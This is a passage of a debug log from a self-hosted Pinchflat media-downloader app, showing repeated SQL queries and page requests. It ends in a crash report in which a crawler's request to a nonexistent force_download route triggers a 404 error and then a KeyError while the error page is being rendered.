m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 20:15:11.923 [debug] QUERY OK source="settings" db=0.1ms idle=1141.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:11.924 [debug] QUERY OK source="settings" db=0.1ms idle=391.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:11.924 [debug] QUERY OK source="settings" db=0.0ms idle=142.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:11.925 [info] Sent 200 in 2ms 20:15:12.137 [info] GET /sources/2/media/472253/edit 20:15:12.137 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "472253", "source_id" => "2"} Pipelines: [:browser] 20:15:12.138 [debug] QUERY OK source="media_items" db=0.2ms idle=355.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 20:15:12.138 [debug] QUERY OK source="settings" db=0.1ms idle=215.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:12.138 [debug] QUERY OK source="settings" db=0.0ms idle=214.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:12.139 [debug] QUERY OK source="settings" db=0.1ms idle=214.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:12.140 [info] Sent 200 in 2ms 20:15:12.638 [info] GET /sources/2/media/372/edit 20:15:12.638 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "372", "source_id" => "2"} Pipelines: [:browser] 20:15:12.638 [debug] QUERY OK source="media_items" db=0.1ms idle=500.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [372] 20:15:12.639 [debug] QUERY OK source="settings" db=0.0ms idle=500.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:12.639 [debug] QUERY OK source="settings" db=0.1ms idle=500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:12.640 [debug] QUERY OK source="settings" db=0.2ms idle=500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:12.641 [info] Sent 200 in 2ms 20:15:17.995 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:35.704 [info] GET /sources/2/media/231209 20:15:35.704 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "231209", "source_id" => "2"} Pipelines: [:browser] 20:15:35.704 [debug] QUERY OK source="media_items" db=0.2ms idle=1922.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [231209] 20:15:35.705 [debug] QUERY OK source="tasks" db=0.1ms idle=1922.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [231209] 20:15:35.705 [debug] QUERY OK source="sources" db=0.2ms idle=1922.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:15:35.705 [debug] QUERY OK source="settings" db=0.1ms idle=1145.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:35.706 [debug] QUERY OK source="settings" db=0.1ms idle=145.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:35.706 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:35.707 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:15:35.708 [info] Sent 200 in 4ms 20:15:35.893 [info] GET /sources/2/media/231209/edit 20:15:35.893 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "231209", "source_id" => "2"} Pipelines: [:browser] 20:15:35.893 [debug] QUERY OK source="media_items" db=0.1ms idle=188.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [231209] 20:15:35.894 [debug] QUERY OK source="settings" db=0.1ms idle=188.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:35.894 [debug] QUERY OK source="settings" db=0.0ms idle=188.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:35.894 [debug] QUERY OK source="settings" db=0.0ms idle=188.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:35.895 [info] Sent 200 in 2ms 20:15:36.392 [info] GET /sources/2/media/469491/edit 20:15:36.392 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "469491", "source_id" => "2"} Pipelines: [:browser] 20:15:36.393 [debug] QUERY OK source="media_items" db=0.1ms idle=685.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 20:15:36.393 [debug] QUERY OK source="settings" db=0.1ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:36.393 [debug] QUERY OK source="settings" db=0.0ms idle=499.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:36.394 [debug] QUERY OK source="settings" db=0.1ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:36.395 [info] Sent 200 in 2ms 20:15:39.922 [info] GET /sources/2/media/366904/edit 20:15:39.922 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "366904", "source_id" => "2"} Pipelines: [:browser] 20:15:39.923 [debug] QUERY OK source="media_items" db=0.2ms idle=357.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [366904] 20:15:39.923 [debug] QUERY OK source="settings" db=0.1ms idle=141.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:39.923 [debug] QUERY OK source="settings" db=0.0ms idle=141.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:39.924 [debug] QUERY OK source="settings" db=0.1ms idle=141.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:39.925 [info] Sent 200 in 2ms 20:15:40.166 [info] GET /sources/2/media/213214 20:15:40.167 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "213214", "source_id" => "2"} Pipelines: [:browser] 20:15:40.167 [debug] QUERY OK source="media_items" db=0.2ms idle=384.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213214] 20:15:40.168 [debug] QUERY OK source="tasks" db=0.1ms idle=244.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [213214] 20:15:40.168 [debug] QUERY OK source="sources" db=0.2ms idle=244.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:15:40.168 [debug] QUERY OK source="settings" db=0.0ms idle=244.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:40.169 [debug] QUERY OK source="settings" db=0.1ms idle=244.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:40.169 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:40.170 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:15:40.171 [info] Sent 200 in 4ms 20:15:40.671 [info] GET /sources/2/media/213214/edit 20:15:40.671 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "213214", "source_id" => "2"} Pipelines: [:browser] 20:15:40.671 [debug] QUERY OK source="media_items" db=0.2ms idle=502.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213214] 20:15:40.672 [debug] QUERY OK source="settings" db=0.1ms idle=502.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:40.672 [debug] QUERY OK source="settings" db=0.0ms idle=502.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:40.672 [debug] QUERY OK source="settings" db=0.1ms idle=502.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:40.673 [info] Sent 200 in 2ms 20:15:44.431 [info] GET /sources/2/media/469491/force_download 20:15:44.431 [debug] QUERY OK source="settings" db=0.1ms idle=861.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:44.431 [debug] QUERY OK source="settings" db=0.1ms idle=649.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:44.431 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:15:44.432 [error] #PID<0.164512.0> running PinchflatWeb.Endpoint (connection #PID<0.164511.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/469491/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164511.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59794}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164512.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sources/2/media/469491/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1lD4LmZ54gXJoAFuEh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164511.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59794}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/469491/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164511.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/469491/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59794}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164512.0>, params: %{}, path_info: ["sources", "2", "media", "469491", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, (truncated) 20:15:44.744 [info] GET /sources/2/media/482073/force_download 20:15:44.745 [debug] QUERY OK source="settings" db=0.2ms idle=962.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:44.745 [debug] QUERY OK source="settings" db=0.1ms idle=962.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 